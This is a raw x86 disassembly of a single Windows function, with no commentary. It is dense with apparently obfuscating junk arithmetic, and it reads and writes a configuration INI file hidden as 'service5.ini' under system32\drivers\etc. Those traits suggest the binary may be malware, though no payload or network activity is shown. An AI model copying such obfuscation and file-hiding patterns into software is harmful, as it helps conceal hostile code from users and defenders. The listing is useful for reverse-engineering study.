mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, edi
imul edx, edx, 0x111bd1
add ecx, edx
mov eax, 0x9eea7d1d
imul ebx
add edx, ebx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x9eea7d1d
imul esi
add edx, esi
sar edx, 0x16
add ecx, edx
mov esi, edx
mov eax, 0x1d74861
imul edi
sar edx, 0xf
shr esi, 0x1f
add esi, ecx
mov ecx, edx
shr ecx, 0x1f
add esi, edx
mov edx, dword [ebp - 0x10d0]
add ecx, esi
push 0x7ff
mov dword [0x45b9b8], ecx
push edx
xor eax, eax
mov ecx, 0x200
mov edi, 0x55ebc8
push 0x55ebc8
rep stosd dword es:[edi], eax
call fcn.00430480
mov ebx, dword [0x45b9b4]
mov edi, dword [0x45b9c8]
add esp, 0xc
mov ecx, dword [0x45b9b8]
imul edi, edi, 0x458786
mov esi, dword [0x45b9a8]
mov eax, 0x7e3fea57
imul esi, esi, str.LresultFromObject
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9c4]
sub esi, eax
mov eax, 0x7595e9bf
imul edx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x671938
sub esi, eax
add esi, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x9eea7d1d
imul ebx
add edx, ebx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
add ecx, edi
mov eax, 0x55e2c8
mov dword [0x45b9c4], ecx
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x421b36
sub eax, ecx
cmp eax, 5
jbe 0x421e84
mov edx, dword [ebp - 0x10d0]
push str.ConfigL6
push edx
call fcn.00404ba0
add esp, 8
test eax, eax
jne 0x421e84
mov ecx, dword [0x45b9bc]
mov esi, dword [0x45b9c4]
mov eax, 0x76294c27
imul esi, esi, 0x346bb5
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc4d8f4f
imul ecx
sar edx, 0x12
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, esi
sub edi, ecx
mov ecx, dword [0x45b9b0]
mov edx, ecx
imul edx, edx, 0x24a6e6
sub edi, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
mov ecx, dword [0x45b9c8]
imul ecx, ecx, 0x458786
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
add eax, ecx
push 0x132b600
mov dword [0x45b9c8], eax
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 4
xor edi, edi
jmp 0x421bf0
cmp edi, 0x64
jge 0x421c9b
mov ecx, dword [0x45b9ac]
mov ebx, dword [0x45b9c0]
mov esi, dword [0x45b9b4]
imul ebx, ebx, 0x427252
mov eax, 0x7e3fea57
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x7595e9bf
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
add ebx, edx
mov eax, 0x9eea7d1d
imul esi
shr ecx, 0x1f
add edx, esi
sar edx, 0x16
add ecx, ebx
mov eax, edx
add ecx, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x45b9c8]
imul ecx, ecx, 0x8b0f0c
add eax, ecx
push 0x64
mov dword [str._r_____r____], eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, 0x55e2c8
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x421c84
sub eax, ecx
mov dword [ebp - 0x10d8], eax
je 0x421c9b
inc edi
jmp 0x421bf0
mov ecx, dword [0x45b9ac]
mov esi, dword [0x45b9c0]
imul esi, esi, 0x427252
mov eax, 0x76294c27
imul ecx
mov ecx, dword [0x45b9c8]
sar edx, 0x15
add esi, edx
mov edi, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x16
shr edi, 0x1f
add edi, esi
mov esi, edx
add edi, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
shr esi, 0x1f
mov eax, edx
shr eax, 0x1f
add esi, edi
push str.C:WINDOWS_system32driversetc_service5.ini
add esi, edx
add eax, esi
push 0x800
sub eax, ecx
lea ecx, [ebp - 0x10c4]
push ecx
push 0x44bdb5
push str.ConfigL5
add eax, 0x26e3e3
push str.GameType1
mov dword [0x45b9ac], eax
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
mov esi, dword [0x45b9a8]
mov edx, dword [0x45b9b8]
imul esi, esi, 0x427252
mov ecx, dword [0x45b9bc]
imul edx, edx, 0x78665a
add esi, edx
mov eax, 0x76294c27
imul ecx
mov ecx, dword [0x45b9c4]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov edi, dword [0x45b9c0]
mov eax, 0x9eea7d1d
imul ecx
mov eax, dword [0x45b9c8]
add edx, ecx
imul eax, eax, 0x458786
sar edx, 0x16
mov ecx, edx
add esi, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x671938
shr ecx, 0x1f
add ecx, esi
add edx, edi
add edx, ecx
lea ecx, [eax + edx - 0x346bb5]
lea edx, [ebp - 0x10c4]
push edx
mov dword [0x45b9b4], ecx
call fcn.0042fa32
inc eax
push eax
lea eax, [ebp - 0x10c4]
push 0x44bb00
push eax
call fcn.0042f401
add esp, 0x10
push str.C:WINDOWS_system32driversetc_service5.ini
lea ecx, [ebp - 0x10c4]
push ecx
push str.ConfigL5
push str.GameType1
call dword [sym.imp.KERNEL32.DLL_WritePrivateProfileStringA]
mov ecx, dword [0x45b9ac]
mov esi, dword [0x45b9bc]
mov eax, 0x8814777b
imul esi, esi, 0x346bb5
imul ecx
add edx, ecx
mov ecx, dword [0x45b9b0]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, dword [0x45b9c0]
mov edx, ecx
imul eax, eax, 0x533b61
imul edx, edx, 0x40e326
add esi, edx
add esi, eax
mov eax, 0x7595e9bf
imul ecx
mov ecx, dword [0x45b9b8]
sar edx, 0x15
add esi, edx
mov edi, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
shr edi, 0x1f
add edi, esi
mov esi, dword [0x55e2c0]
add edi, edx
mov ecx, edx
mov edx, dword [0x45b9c8]
imul edx, edx, 0x458786
shr ecx, 0x1f
add ecx, edi
add ecx, edx
inc esi
push 0
mov dword [0x45b9bc], ecx
mov dword [0x55e2c0], esi
call fcn.0042fa37
add esp, 4
mov dword [0x55e2c4], eax
lea ecx, [ebp - 0x1140]
mov byte [ebp - 4], 6
call fcn.00406b50
mov ecx, dword [0x45b9a8]
mov esi, dword [0x45b9c4]
mov edi, dword [0x45b9b8]
imul ecx, ecx, str.LresultFromObject
mov eax, 0x7e3fea57
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x7595e9bf
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, edi
imul edx, edx, 0x671938
mov esi, dword [0x45b9b4]
add ecx, edx
mov eax, 0x9eea7d1d
imul edi
mov ebx, dword [0x45b9c8]
add edx, edi
imul ebx, ebx, 0x458786
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x9eea7d1d
imul esi
add edx, esi
sar edx, 0x16
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
add eax, ebx
push ecx
mov ecx, dword [ebp - 0x10d4]
mov dword [0x45b9c4], eax
mov eax, esp
mov dword [eax], ecx
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov dword [ebp - 0x10d8], esp
je 0x421f3f
mov edx, dword [eax]
push eax
call dword [edx + 4]
mov ecx, 0x56f518
call fcn.00407ae0
mov ecx, dword [0x45b9c4]
mov esi, dword [0x45b9a8]
mov eax, 0x9c46284d
imul ecx
add edx, ecx
sar edx, 0x15
mov edi, edx
mov eax, esi
imul eax, eax, 0x346bb5
shr edi, 0x1f
add edi, edx
add edi, eax
mov eax, 0x8814777b
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45b9c0]
imul edx, edx, 0x40e326
sub edi, ecx
mov ecx, dword [0x45b9b0]
sub edi, edx
mov eax, 0xc4d8f4f
imul ecx
sar edx, 0x12
mov ecx, edx
add edi, edx
mov eax, 0x9eea7d1d
imul esi
shr ecx, 0x1f
add edx, esi
sar edx, 0x16
add ecx, edi
mov eax, edx
add ecx, edx
mov edx, dword [ebp - 0x10d4]
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x45b9c8]
imul ecx, ecx, 0x458786
add eax, ecx
push 0
push edx
mov dword [0x45b9a8], eax
call fcn.00409db0
mov ecx, dword [0x45b9b0]
mov esi, dword [0x45b9a8]
mov eax, 0x69527c69
imul esi, esi, 0x78665a
imul ecx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x7595e9bf
imul dword [0x45b9bc]
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x45ab1c
sub esi, ecx
mov ecx, dword [0x45b9c8]
add esi, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
mov eax, edx
add esi, edx
shr eax, 0x1f
mov edx, ecx
add esp, 8
add eax, esi
imul edx, edx, 0x458786
mov esi, dword [0x45b9c4]
add eax, edx
sub eax, esi
sub eax, 0x346bb5
mov dword [0x45b9b0], eax
jmp 0x422070
mov ecx, dword [0x45b9c8]
mov edi, dword [0x45b9ac]
mov esi, dword [0x45b9b4]
imul edi, edi, str.LresultFromObject
mov eax, 0x1ed25ed3
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov edx, ecx
imul edx, edx, 0x111bd1
add edi, edx
mov eax, 0x9eea7d1d
imul esi
add edx, esi
mov esi, dword [0x45b9c0]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9eea7d1d
imul esi
add edx, esi
sar edx, 0x16
add edi, edx
mov esi, edx
mov eax, 0x1d74861
imul ecx
shr esi, 0x1f
sar edx, 0xf
add esi, edi
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov dword [0x45b9b8], eax
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 5
je 0x422101
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x45b9c8]
mov eax, dword [ebp - 0x10f4]
test eax, eax
mov byte [ebp - 4], 4
je 0x42211b
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x45b9c8]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 2
je 0x422135
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x45b9c8]
mov eax, dword [ebp - 0x10ec]
test eax, eax
mov byte [ebp - 4], 1
je 0x42214f
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov ecx, dword [0x45b9c8]
inc dword [ebp - 0x10fc]
jmp 0x41fa40
mov eax, dword [ebp - 0x10f0]
test eax, eax
mov byte [ebp - 4], 0
je 0x422174
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [0x45b9c8]
mov esi, dword [0x45b9bc]
imul ecx, ecx, 0x458786
mov eax, 0x96ad8397
imul dword [0x45b9ac]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, dword [0x45b9b8]
imul eax, eax, 0x533b61
mov edi, esi
imul edi, edi, 0x346bb5
sub ebx, edi
add ebx, eax
mov eax, dword [0x45b9b4]
imul eax, eax, 0x1ea3a3
sub ebx, eax
mov eax, 0x9eea7d1d
imul esi
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov dword [0x45b9c0], eax
mov eax, dword [ebp - 0x1100]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
call fcn.0042f231
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret